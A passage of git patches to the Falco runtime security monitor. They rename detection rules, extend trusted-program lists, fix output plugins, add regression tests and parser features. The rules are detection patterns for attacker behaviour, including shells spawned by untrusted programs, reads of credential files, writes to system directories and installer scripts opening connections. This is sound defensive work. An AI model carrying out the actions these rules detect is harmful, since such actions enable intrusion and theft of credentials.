Mon, 22 Aug 2016 20:19:08 -0700 Subject: [PATCH 14/63] Change rule names to be human readable. Given the prior test, change all rule names to be human readable. This is especially important for the agent integration as they are visible. --- rules/falco_rules.yaml | 78 +++++++++++++++++++++--------------------- 1 file changed, 39 insertions(+), 39 deletions(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index ea0f941f..dd387498 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -183,7 +183,7 @@ # General Rules ############### -- rule: write_binary_dir +- rule: Write below binary dir desc: an attempt to write to any file below a set of binary directories condition: bin_dir and evt.dir = < and open_write and not package_mgmt_procs output: "File below a known binary directory opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)" @@ -196,51 +196,51 @@ and not proc.pname in (sysdigcloud_binaries) and not fd.directory in (/etc/cassandra, /etc/ssl/certs/java) -- rule: write_etc +- rule: Write below etc desc: an attempt to write to any file below /etc, not in a pipe installer session condition: write_etc_common and not proc.sname=fbash output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)" priority: WARNING # Within a fbash session, the severity is lowered to INFO -- rule: write_etc_installer +- rule: Write below etc in installer desc: an attempt to write to any file below /etc, in a pipe installer session condition: write_etc_common and proc.sname=fbash output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name) within pipe installer session" priority: INFO -- rule: read_sensitive_file_trusted_after_startup +- rule: Read sensitive file trusted after startup desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information) by a trusted program after startup. Trusted programs might read these files at startup to load initial state, but not afterwards. condition: sensitive_files and open_read and server_procs and not proc_is_new and proc.name!="sshd" output: "Sensitive file opened for reading by trusted program after startup (user=%user.name command=%proc.cmdline file=%fd.name)" priority: WARNING -- rule: read_sensitive_file_untrusted +- rule: Read sensitive file untrusted desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs. condition: sensitive_files and open_read and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, cron_binaries, iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, shell_binaries, sshd) and not proc.cmdline contains /usr/bin/mandb output: "Sensitive file opened for reading by non-trusted program (user=%user.name name=%proc.name command=%proc.cmdline file=%fd.name)" priority: WARNING # Only let rpm-related programs write to the rpm database -- rule: write_rpm_database +- rule: Write below rpm database desc: an attempt to write to the rpm database by any non-rpm related program condition: fd.name startswith /var/lib/rpm and open_write and not proc.name in (rpm,rpmkey,yum) output: "Rpm database opened for writing by a non-rpm program (command=%proc.cmdline file=%fd.name)" priority: WARNING -- rule: db_program_spawned_process +- rule: DB program spawned process desc: a database-server related program spawned a new process other than itself. This shouldn\'t occur and is a follow on from some SQL injection attacks. condition: proc.pname in (db_server_binaries) and spawned_process and not proc.name in (db_server_binaries) output: "Database-related program spawned process other than itself (user=%user.name program=%proc.cmdline parent=%proc.pname)" priority: WARNING -- rule: modify_binary_dirs +- rule: Modify binary dirs desc: an attempt to modify any file below a set of binary directories. condition: bin_dir_rename and modify and not package_mgmt_procs output: "File below known binary directory renamed/removed (user=%user.name command=%proc.cmdline operation=%evt.type file=%fd.name %evt.args)" priority: WARNING -- rule: mkdir_binary_dirs +- rule: Mkdir binary dirs desc: an attempt to create a directory below a set of binary directories. condition: mkdir and bin_dir_mkdir and not package_mgmt_procs output: "Directory below known binary directory created (user=%user.name command=%proc.cmdline directory=%evt.arg.path)" @@ -256,19 +256,19 @@ # priority: WARNING # Temporarily disabling this rule as it's tripping over https://github.com/draios/sysdig/issues/598 -# - rule: syscall_returns_eaccess +# - rule: Syscall returns eaccess # desc: any system call that returns EACCESS. This is not always a strong indication of a problem, hence the INFO priority. # condition: evt.res = EACCESS # output: "System call returned EACCESS (user=%user.name command=%proc.cmdline syscall=%evt.type args=%evt.args)" # priority: INFO -- rule: change_thread_namespace +- rule: Change thread namespace desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns. condition: evt.type = setns and not proc.name in (docker_binaries, sysdig, dragent, nsenter) output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline container=%container.id)" priority: WARNING -- rule: run_shell_untrusted +- rule: Run shell untrusted desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries. condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose) output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" @@ -279,20 +279,20 @@ # output: "Interactive root (%user.name %proc.name %evt.dir %evt.type %evt.args %fd.name)" # priority: WARNING -- rule: system_user_interactive +- rule: System user interactive desc: an attempt to run interactive commands by a system (i.e. non-login) user condition: spawned_process and system_users and interactive output: "System user ran an interactive command (user=%user.name command=%proc.cmdline)" priority: WARNING -- rule: run_shell_in_container +- rule: Run shell in container desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded. condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, initdb, pg_ctl) output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING # sockfamily ip is to exclude certain processes (like 'groups') that communicate on unix-domain sockets -- rule: system_procs_network_activity +- rule: System procs network activity desc: any network activity performed by system binaries that are not expected to send or receive any network traffic condition: (fd.sockfamily = ip and system_procs) and (inbound or outbound) output: "Known system binary sent/received network traffic (user=%user.name command=%proc.cmdline connection=%fd.name)" @@ -301,46 +301,46 @@ # With the current restriction on system calls handled by falco # (e.g. excluding read/write/sendto/recvfrom/etc, this rule won't # trigger). -# - rule: ssh_error_syslog +# - rule: Ssh error in syslog # desc: any ssh errors (failed logins, disconnects, ...) sent to syslog # condition: syslog and ssh_error_message and evt.dir = < # output: "sshd sent error message to syslog (error=%evt.buffer)" # priority: WARNING # sshd, mail programs attempt to setuid to root even when running as non-root. Excluding here to avoid meaningless FPs -- rule: non_sudo_setuid +- rule: Non sudo setuid desc: an attempt to change users by calling setuid. sudo/su are excluded. user "root" is also excluded, as setuid calls typically involve dropping privileges. condition: evt.type=setuid and evt.dir=> and not user.name=root and not proc.name in (userexec_binaries, mail_binaries, sshd, dbus-daemon-lau) output: "Unexpected setuid call by non-sudo, non-root program (user=%user.name command=%proc.cmdline uid=%evt.arg.uid)" priority: WARNING -- rule: user_mgmt_binaries +- rule: User mgmt binaries desc: activity by any programs that can manage users, passwords, or permissions. sudo and su are excluded. Activity in containers is also excluded--some containers create custom users on top of a base linux distribution at startup. condition: spawned_process and proc.name in (user_mgmt_binaries) and not proc.name in (su, sudo) and not container and not proc.pname in (cron_binaries, systemd, run-parts) output: "User management binary command run outside of container (user=%user.name command=%proc.cmdline parent=%proc.pname)" priority: WARNING # (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153) -- rule: create_files_below_dev +- rule: Create files below dev desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev. condition: fd.directory = /dev and (evt.type = creat or (evt.type = open and evt.arg.flags contains O_CREAT)) and proc.name != blkid and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr,/dev/tty) output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)" priority: WARNING # fbash is a small shell script that runs bash, and is suitable for use in curl | fbash installers. -- rule: installer_bash_starts_network_server +- rule: Installer bash starts network server desc: an attempt by a program in a pipe installer session to start listening for network connections condition: evt.type=listen and proc.sname=fbash output: "Unexpected listen call by a process in a fbash session (command=%proc.cmdline)" priority: WARNING -- rule: installer_bash_starts_session +- rule: Installer bash starts session desc: an attempt by a program in a pipe installer session to start a new session condition: evt.type=setsid and proc.sname=fbash output: "Unexpected setsid call by a process in fbash session (command=%proc.cmdline)" priority: WARNING -- rule: installer_bash_non_https_connection +- rule: Installer bash non https connection desc: an attempt by a program in a pipe installer session to make an outgoing connection on a non-http(s) port condition: proc.sname=fbash and outbound and not fd.sport in (80, 443, 53) output: "Outbound connection on non-http(s) port by a process in a fbash session (command=%proc.cmdline connection=%fd.name)" @@ -353,7 +353,7 @@ # Notice when processes try to run chkconfig/systemctl.... to install a service. # Note: this is not a WARNING, as you'd expect some service management # as a part of doing the installation. -- rule: installer_bash_manages_service +- rule: Installer bash manages service desc: an attempt by a program in a pipe installer session to manage a system service (systemd/chkconfig) condition: evt.type=execve and proc.name in (chkconfig, systemctl) and proc.sname=fbash output: "Service management program run by process in a fbash session (command=%proc.cmdline)" @@ -362,7 +362,7 @@ # Notice when processes try to run any package management binary within a fbash session. # Note: this is not a WARNING, as you'd expect some package management # as a part of doing the installation -- rule: installer_bash_runs_pkgmgmt +- rule: Installer bash runs pkgmgmt program desc: an attempt by a program in a pipe installer session to run a package management binary condition: evt.type=execve and package_mgmt_procs and proc.sname=fbash output: "Package management program run by process in a fbash session (command=%proc.cmdline)" @@ -387,13 +387,13 @@ - macro: elasticsearch_port condition: elasticsearch_cluster_port or elasticsearch_api_port -# - rule: elasticsearch_unexpected_network_inbound +# - rule: Elasticsearch unexpected network inbound traffic # desc: inbound network traffic to elasticsearch on a port other than the standard ports # condition: user.name = elasticsearch and inbound and not elasticsearch_port # output: "Inbound network traffic to Elasticsearch on unexpected port (connection=%fd.name)" # priority: WARNING -# - rule: elasticsearch_unexpected_network_outbound +# - rule: Elasticsearch unexpected network outbound traffic # desc: outbound network traffic from elasticsearch on a port other than the standard ports # condition: user.name = elasticsearch and outbound and not elasticsearch_cluster_port # output: "Outbound network traffic from Elasticsearch on unexpected port (connection=%fd.name)" @@ -408,13 +408,13 @@ - macro: activemq_port condition: activemq_web_port or activemq_cluster_port -# - rule: activemq_unexpected_network_inbound +# - rule: Activemq unexpected network inbound traffic # desc: inbound network traffic to activemq on a port other than the standard ports # condition: user.name = activemq and inbound and not activemq_port # output: "Inbound network traffic to ActiveMQ on unexpected port (connection=%fd.name)" # priority: WARNING -# - rule: activemq_unexpected_network_outbound +# - rule: Activemq unexpected network outbound traffic # desc: outbound network traffic from activemq on a port other than the standard ports # condition: user.name = activemq and outbound and not activemq_cluster_port # output: "Outbound network traffic from ActiveMQ on unexpected port (connection=%fd.name)" @@ -436,13 +436,13 @@ - macro: cassandra_port condition: cassandra_thrift_client_port or cassandra_cql_port or cassandra_cluster_port or cassandra_ssl_cluster_port or cassandra_jmx_port -# - rule: cassandra_unexpected_network_inbound +# - rule: Cassandra unexpected network inbound traffic # desc: inbound network traffic to cassandra on a port other than the standard ports # condition: user.name = cassandra and inbound and not cassandra_port # output: "Inbound network traffic to Cassandra on unexpected port (connection=%fd.name)" # priority: WARNING -# - rule: cassandra_unexpected_network_outbound +# - rule: Cassandra unexpected network outbound traffic # desc: outbound network traffic from cassandra on a port other than the standard ports # condition: user.name = cassandra and outbound and not (cassandra_ssl_cluster_port or cassandra_cluster_port) # output: "Outbound network traffic from Cassandra on unexpected port (connection=%fd.name)" @@ -463,13 +463,13 @@ - macro: fluentd_forward_port condition: fd.sport=24224 -# - rule: fluentd_unexpected_network_inbound +# - rule: Fluentd unexpected network inbound traffic # desc: inbound network traffic to fluentd on a port other than the standard ports # condition: user.name = td-agent and inbound and not (fluentd_forward_port or fluentd_http_port) # output: "Inbound network traffic to Fluentd on unexpected port (connection=%fd.name)" # priority: WARNING -# - rule: tdagent_unexpected_network_outbound +# - rule: Tdagent unexpected network outbound traffic # desc: outbound network traffic from fluentd on a port other than the standard ports # condition: user.name = td-agent and outbound and not fluentd_forward_port # output: "Outbound network traffic from Fluentd on unexpected port (connection=%fd.name)" @@ -477,7 +477,7 @@ # Gearman ports # http://gearman.org/protocol/ -# - rule: gearman_unexpected_network_outbound +# - rule: Gearman unexpected network outbound traffic # desc: outbound network traffic from gearman on a port other than the standard ports # condition: user.name = gearman and outbound and outbound and not fd.sport = 4730 # output: "Outbound network traffic from Gearman on unexpected port (connection=%fd.name)" @@ -488,20 +488,20 @@ condition: fd.sport = 2181 # Kafka ports -# - rule: kafka_unexpected_network_inbound +# - rule: Kafka unexpected network inbound traffic # desc: inbound network traffic to kafka on a port other than the standard ports # condition: user.name = kafka and inbound and fd.sport != 9092 # output: "Inbound network traffic to Kafka on unexpected port (connection=%fd.name)" # priority: WARNING # Memcached ports -# - rule: memcached_unexpected_network_inbound +# - rule: Memcached unexpected network inbound traffic # desc: inbound network traffic to memcached on a port other than the standard ports # condition: user.name = memcached and inbound and fd.sport != 11211 # output: "Inbound network traffic to Memcached on unexpected port (connection=%fd.name)" # priority: WARNING -# - rule: memcached_network_outbound +# - rule: Memcached unexpected network outbound traffic # desc: any outbound network traffic from memcached. memcached never initiates outbound connections. # condition: user.name = memcached and outbound # output: "Unexpected Memcached outbound connection (connection=%fd.name)" @@ -518,20 +518,20 @@ - macro: mongodb_webserver_port condition: fd.sport = 28017 -# - rule: mongodb_unexpected_network_inbound +# - rule: Mongodb unexpected network inbound traffic # desc: inbound network traffic to mongodb on a port other than the standard ports # condition: user.name = mongodb and inbound and not (mongodb_server_port or mongodb_shardserver_port or mongodb_configserver_port or mongodb_webserver_port) # output: "Inbound network traffic to MongoDB on unexpected port (connection=%fd.name)" # priority: WARNING # MySQL ports -# - rule: mysql_unexpected_network_inbound +# - rule: Mysql unexpected network inbound traffic # desc: inbound network traffic to mysql on a port other than the standard ports # condition: user.name = mysql and inbound and fd.sport != 3306 # output: "Inbound network traffic to MySQL on unexpected port (connection=%fd.name)" # priority: WARNING -# - rule: http_server_unexpected_network_inbound +# - rule: HTTP server unexpected network inbound traffic # desc: inbound network traffic to a http server program on a port other than the standard ports # condition: proc.name in (http_server_binaries) and inbound and fd.sport != 80 and fd.sport != 443 # output: "Inbound network traffic to HTTP Server on unexpected port (connection=%fd.name)" From 3ee1c0f602ee9469ce536d3361213599c4902613 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Tue, 23 Aug 2016 14:12:28 -0700 Subject: [PATCH 15/63] Don't alert on falco program notifications. Falco itself spawns a shell when using program notifications, so add falco to the set of trusted programs. (Also add some other programs like make, awk, configure, that are run while building). --- rules/falco_rules.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index ea0f941f..fe640f1b 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -270,7 +270,7 @@ - rule: run_shell_untrusted desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries. - condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose) + condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco) output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING From 23a9b6e1b03f801e61f475cc8ce1ff24043f6ec9 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Tue, 23 Aug 2016 14:15:52 -0700 Subject: [PATCH 16/63] Fix output methods that take configurations. The falco engine changes broke the output methods that take configuration (like the filename for file output, or the program for program output). Fix that by properly passing the options argument to each method's output function. --- userspace/falco/lua/output.lua | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/userspace/falco/lua/output.lua b/userspace/falco/lua/output.lua index 158d7fbc..1ff631ab 100644 --- a/userspace/falco/lua/output.lua +++ b/userspace/falco/lua/output.lua @@ -23,17 +23,17 @@ function mod.file_validate(options) end -function mod.file(level, msg) +function mod.file(level, msg, options) file = io.open(options.filename, "a+") file:write(msg, "\n") file:close() end -function mod.syslog(level, msg) +function mod.syslog(level, msg, options) falco.syslog(level, msg) end -function mod.program(level, msg) +function mod.program(level, msg, options) -- XXX Ideally we'd check that the program ran -- successfully. However, the luajit we're using returns true even -- when the shell can't run the program. @@ -61,7 +61,7 @@ function output_event(event, rule, priority, format) msg = falco.format_event(event, rule, levels[level+1], formatter) for index,o in ipairs(outputs) do - o.output(level, msg) + o.output(level, msg, o.config) end falco.free_formatter(formatter) From ef52e627ecfc148c6e904826e4d3a9840c73e231 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Tue, 23 Aug 2016 14:18:48 -0700 Subject: [PATCH 17/63] Add regression tests for configurable outputs. - In the regression tests, make the config file configurable in the multiplex file via 'conf_file'. - A new multiplex file item 'outputs' containing a list of : tuples. For each item, the test reads the file and matches each line against the regex. A match must be found for the test to pass. - Add 2 new tests that test file output and program output. They write to files below /tmp/falco_outputs/ and the contents are checked to ensure that alerts are written. --- test/confs/file_output.yaml | 27 +++++++++++++++++++++++ test/confs/program_output.yaml | 27 +++++++++++++++++++++++ test/falco_test.py | 40 ++++++++++++++++++++++++++++++++-- test/falco_tests.yaml.in | 20 +++++++++++++++++ test/run_regression_tests.sh | 2 ++ 5 files changed, 114 insertions(+), 2 deletions(-) create mode 100644 test/confs/file_output.yaml create mode 100644 test/confs/program_output.yaml diff --git a/test/confs/file_output.yaml b/test/confs/file_output.yaml new file mode 100644 index 00000000..9e35aa82 --- /dev/null +++ b/test/confs/file_output.yaml @@ -0,0 +1,27 @@ +# File containing Falco rules, loaded at startup. +rules_file: /etc/falco_rules.yaml + +# Whether to output events in json or text +json_output: false + +# Send information logs to stderr and/or syslog Note these are *not* security +# notification logs! These are just Falco lifecycle (and possibly error) logs. +log_stderr: false +log_syslog: false + +# Where security notifications should go. +# Multiple outputs can be enabled. + +syslog_output: + enabled: false + +file_output: + enabled: true + filename: /tmp/falco_outputs/file_output.txt + +stdout_output: + enabled: true + +program_output: + enabled: false + program: mail -s "Falco Notification" someone@example.com diff --git a/test/confs/program_output.yaml b/test/confs/program_output.yaml new file mode 100644 index 00000000..85cc017b --- /dev/null +++ b/test/confs/program_output.yaml @@ -0,0 +1,27 @@ +# File containing Falco rules, loaded at startup. +rules_file: /etc/falco_rules.yaml + +# Whether to output events in json or text +json_output: false + +# Send information logs to stderr and/or syslog Note these are *not* security +# notification logs! These are just Falco lifecycle (and possibly error) logs. +log_stderr: false +log_syslog: false + +# Where security notifications should go. +# Multiple outputs can be enabled. + +syslog_output: + enabled: false + +file_output: + enabled: false + filename: ./output.txt + +stdout_output: + enabled: true + +program_output: + enabled: true + program: cat > /tmp/falco_outputs/program_output.txt diff --git a/test/falco_test.py b/test/falco_test.py index 66eff585..2c0131c7 100644 --- a/test/falco_test.py +++ b/test/falco_test.py @@ -36,6 +36,10 @@ class FalcoTest(Test): file = os.path.join(self.basedir, file) self.rules_args = self.rules_args + "-r " + file + " " + self.conf_file = self.params.get('conf_file', '*', default=os.path.join(self.basedir, '../falco.yaml')) + if not os.path.isabs(self.conf_file): + self.conf_file = os.path.join(self.basedir, self.conf_file) + self.disabled_rules = self.params.get('disabled_rules', '*', default='') if self.disabled_rules == '': @@ -82,6 +86,20 @@ class FalcoTest(Test): self.str_variant = self.trace_file + self.outputs = self.params.get('outputs', '*', default='') + + if self.outputs == '': + self.outputs = {} + else: + outputs = [] + for item in self.outputs: + for item2 in item: + output = {} + output['file'] = item2[0] + output['line'] = item2[1] + outputs.append(output) + self.outputs = outputs + def check_rules_warnings(self, res): found_warning = sets.Set() @@ -140,6 +158,23 @@ class FalcoTest(Test): if not events_detected > 0: self.fail("Detected {} events at level {} when should have detected > 0".format(events_detected, level)) + def check_outputs(self): + for output in self.outputs: + # Open the provided file and match each line against the + # regex in line. + file = open(output['file'], 'r') + found = False + for line in file: + match = re.search(output['line'], line) + + if match is not None: + found = True + + if found == False: + self.fail("Could not find a line '{}' in file '{}'".format(output['line'], output['file'])) + + return True + def check_json_output(self, res): if self.json_output: # Just verify that any lines starting with '{' are valid json objects. @@ -155,8 +190,8 @@ class FalcoTest(Test): self.log.info("Trace file %s", self.trace_file) # Run the provided trace file though falco - cmd = '{}/userspace/falco/falco {} {} -c {}/../falco.yaml -e {} -o json_output={} -v'.format( - self.falcodir, self.rules_args, self.disabled_args, self.falcodir, self.trace_file, self.json_output) + cmd = '{}/userspace/falco/falco {} {} -c {} -e {} -o json_output={} -v'.format( + self.falcodir, self.rules_args, self.disabled_args, self.conf_file, self.trace_file, self.json_output) self.falco_proc = process.SubProcess(cmd) @@ -171,6 +206,7 @@ class FalcoTest(Test): self.check_rules_events(res) self.check_detections(res) self.check_json_output(res) + self.check_outputs() pass diff --git a/test/falco_tests.yaml.in b/test/falco_tests.yaml.in index 17e61f24..13d7515e 100644 --- a/test/falco_tests.yaml.in +++ b/test/falco_tests.yaml.in @@ -105,3 +105,23 @@ trace_files: !mux disabled_rules: - "open.*" trace_file: trace_files/cat_write.scap + + file_output: + detect: True + detect_level: WARNING + rules_file: + - rules/single_rule.yaml + conf_file: confs/file_output.yaml + trace_file: trace_files/cat_write.scap + outputs: + - /tmp/falco_outputs/file_output.txt: Warning An open was seen + + program_output: + detect: True + detect_level: WARNING + rules_file: + - rules/single_rule.yaml + conf_file: confs/program_output.yaml + trace_file: trace_files/cat_write.scap + outputs: + - /tmp/falco_outputs/program_output.txt: Warning An open was seen diff --git a/test/run_regression_tests.sh b/test/run_regression_tests.sh index dd06ca0c..2b707fe5 100755 --- a/test/run_regression_tests.sh +++ b/test/run_regression_tests.sh @@ -50,6 +50,8 @@ function prepare_multiplex_file() { } function run_tests() { + rm -rf /tmp/falco_outputs + mkdir /tmp/falco_outputs CMD="avocado run --multiplex $MULT_FILE --job-results-dir $SCRIPTDIR/job-results -- $SCRIPTDIR/falco_test.py" echo "Running: $CMD" $CMD From f974922f841145a99f6c7b2d18bb63971d37f45e Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Sat, 3 Sep 2016 08:37:35 -0700 Subject: [PATCH 18/63] Support enabled flag for rules. If a rule has a enabled attribute, and if the value is false, call the engine's enable_rule() method to disable the rule. Like add_filter, there's a static method which takes the object as the first argument and a non-static method that calls the engine. This fixes #72. --- userspace/engine/lua/rule_loader.lua | 9 +++++++++ userspace/engine/rules.cpp | 25 +++++++++++++++++++++++++ userspace/engine/rules.h | 2 ++ 3 files changed, 36 insertions(+) diff --git a/userspace/engine/lua/rule_loader.lua b/userspace/engine/lua/rule_loader.lua index f0885dfd..2b7d09dc 100644 --- a/userspace/engine/lua/rule_loader.lua +++ b/userspace/engine/lua/rule_loader.lua @@ -188,6 +188,15 @@ function load_rules(rules_content, rules_mgr, verbose, all_events) else state.filter_ast = { type = "BinaryBoolOp", operator = "or", left = state.filter_ast, right = filter_ast.filter.value } end + + -- Enable/disable the rule + if (v['enabled'] == nil) then + v['enabled'] = true + end + + if (v['enabled'] == false) then + falco_rules.enable_rule(rules_mgr, v['rule'], 0) + end else error ("Unexpected type in load_rule: "..filter_ast.type) end diff --git a/userspace/engine/rules.cpp b/userspace/engine/rules.cpp index 04078ba0..8e0ecad4 100644 --- a/userspace/engine/rules.cpp +++ b/userspace/engine/rules.cpp @@ -11,6 +11,7 @@ extern "C" { const static struct luaL_reg ll_falco_rules [] = { {"add_filter", &falco_rules::add_filter}, + {"enable_rule", &falco_rules::enable_rule}, {NULL,NULL} }; @@ -65,6 +66,30 @@ void falco_rules::add_filter(string &rule, list &evttypes) m_engine->add_evttype_filter(rule, evttypes, filter); } +int falco_rules::enable_rule(lua_State *ls) +{ + if (! lua_islightuserdata(ls, -3) || + ! lua_isstring(ls, -2) || + ! lua_isnumber(ls, -1)) + { + throw falco_exception("Invalid arguments passed to enable_rule()\n"); + } + + falco_rules *rules = (falco_rules *) lua_topointer(ls, -3); + const char *rulec = lua_tostring(ls, -2); + std::string rule = rulec; + bool enabled = (lua_tonumber(ls, -1) ? true : false); + + rules->enable_rule(rule, enabled); + + return 0; +} + +void falco_rules::enable_rule(string &rule, bool enabled) +{ + m_engine->enable_rule(rule, enabled); +} + void falco_rules::load_rules(const string &rules_content, bool verbose, bool all_events) { lua_getglobal(m_ls, m_lua_load_rules.c_str()); diff --git a/userspace/engine/rules.h b/userspace/engine/rules.h index 8f2ef6d8..75c617ca 100644 --- a/userspace/engine/rules.h +++ b/userspace/engine/rules.h @@ -18,9 +18,11 @@ class falco_rules static void init(lua_State *ls); static int add_filter(lua_State *ls); + static int enable_rule(lua_State *ls); private: void add_filter(string &rule, list &evttypes); + void enable_rule(string &rule, bool enabled); lua_parser* m_lua_parser; sinsp* m_inspector; From 5644919e70b19dc05290de65cff453d64c15b434 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Sat, 3 Sep 2016 08:40:01 -0700 Subject: [PATCH 19/63] Add test for enabled flag. New test case disables a rule that would otherwise match. --- test/falco_tests.yaml.in | 6 ++++++ test/rules/single_rule_enabled_flag.yaml | 9 +++++++++ 2 files changed, 15 insertions(+) create mode 100644 test/rules/single_rule_enabled_flag.yaml diff --git a/test/falco_tests.yaml.in b/test/falco_tests.yaml.in index 793446c6..69447004 100644 --- a/test/falco_tests.yaml.in +++ b/test/falco_tests.yaml.in @@ -113,6 +113,12 @@ trace_files: !mux - "open.*" trace_file: trace_files/cat_write.scap + disabled_rules_using_enabled_flag: + detect: False + rules_file: + - rules/single_rule_enabled_flag.yaml + trace_file: trace_files/cat_write.scap + file_output: detect: True detect_level: WARNING diff --git a/test/rules/single_rule_enabled_flag.yaml b/test/rules/single_rule_enabled_flag.yaml new file mode 100644 index 00000000..dd5c204b --- /dev/null +++ b/test/rules/single_rule_enabled_flag.yaml @@ -0,0 +1,9 @@ +- macro: is_cat + condition: proc.name=cat + +- rule: open_from_cat + desc: A process named cat does an open + condition: evt.type=open and is_cat + output: "An open was seen (command=%proc.cmdline)" + priority: WARNING + enabled: false From 33b9ef5d50b4ecc4064ffd4c99e6a1b3ef665250 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Thu, 8 Sep 2016 16:15:10 -0700 Subject: [PATCH 20/63] Include condition in compilation errors. When a macro/rule condition can't be compiled, include the condition in the error message. --- userspace/engine/lua/compiler.lua | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/userspace/engine/lua/compiler.lua b/userspace/engine/lua/compiler.lua index 470b38b3..154922c9 100644 --- a/userspace/engine/lua/compiler.lua +++ b/userspace/engine/lua/compiler.lua @@ -273,7 +273,7 @@ function compiler.compile_macro(line, list_defs) local ast, error_msg = parser.parse_filter(line) if (error_msg) then - print ("Compilation error: ", error_msg) + print ("Compilation error when compiling \""..line.."\": ", error_msg) error(error_msg) end @@ -298,7 +298,7 @@ function compiler.compile_filter(name, source, macro_defs, list_defs) local ast, error_msg = parser.parse_filter(source) if (error_msg) then - print ("Compilation error: ", error_msg) + print ("Compilation error when compiling \""..source.."\": ", error_msg) error(error_msg) end From f632fa62b0b61203c7541c98dccc07177d2fcfea Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Thu, 8 Sep 2016 16:18:53 -0700 Subject: [PATCH 21/63] Parser changes to support new sysdig features Support "glob" as an operator and allow pathnames to be the index into bracketed selectors of fields. --- userspace/engine/lua/parser.lua | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/userspace/engine/lua/parser.lua b/userspace/engine/lua/parser.lua index dd03b1d3..8292f352 100644 --- a/userspace/engine/lua/parser.lua +++ b/userspace/engine/lua/parser.lua @@ -218,14 +218,16 @@ local G = { idRest = alnum + P("_"); Identifier = V"idStart" * V"idRest"^0; Macro = V"idStart" * V"idRest"^0 * -P"."; - FieldName = V"Identifier" * (P"." + V"Identifier")^1 * (P"[" * V"Int" * P"]")^-1; + Int = digit^1; + PathString = (alnum + S'-_/*?')^1; + Index = V"Int" + V"PathString"; + FieldName = V"Identifier" * (P"." + V"Identifier")^1 * (P"[" * V"Index" * P"]")^-1; Name = C(V"Identifier") * -V"idRest"; Hex = (P("0x") + P("0X")) * xdigit^1; Expo = S("eE") * S("+-")^-1 * digit^1; Float = (((digit^1 * P(".") * digit^0) + (P(".") * digit^1)) * V"Expo"^-1) + (digit^1 * V"Expo"); - Int = digit^1; Number = C(V"Hex" + V"Float" + V"Int") / function (n) return tonumber(n) end; String = (P'"' * C(((P'\\' * P(1)) + (P(1) - P'"'))^0) * P'"' + P"'" * C(((P"\\" * P(1)) + (P(1) - P"'"))^0) * P"'") / function (s) return fix_str(s) end; @@ -243,6 +245,7 @@ local G = { symb(">") / ">" + symb("contains") / "contains" + symb("icontains") / "icontains" + + symb("glob") / "glob" + symb("startswith") / "startswith"; InOp = kw("in") / "in"; UnaryBoolOp = kw("not") / "not"; From 23e3e99162b5e47d8f1ec4b550ef6c51b817c833 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Thu, 8 Sep 2016 16:20:30 -0700 Subject: [PATCH 22/63] New rules related to containers. New rule 'File Open by Privileged Container' triggers when a container that is running privileged opens a file. New rule 'Sensitive Mount by Container' triggers when a container that has a sensitive mount opens a file. Currently, a sensitive mount is a mount of /proc. This depends on https://github.com/draios/sysdig/pull/655. --- rules/falco_rules.yaml | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index bea8769d..8747fe01 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -265,7 +265,7 @@ - rule: Change thread namespace desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns. condition: evt.type = setns and not proc.name in (docker_binaries, sysdig, dragent, nsenter) - output: "Namespace change (setns) by unexpected program 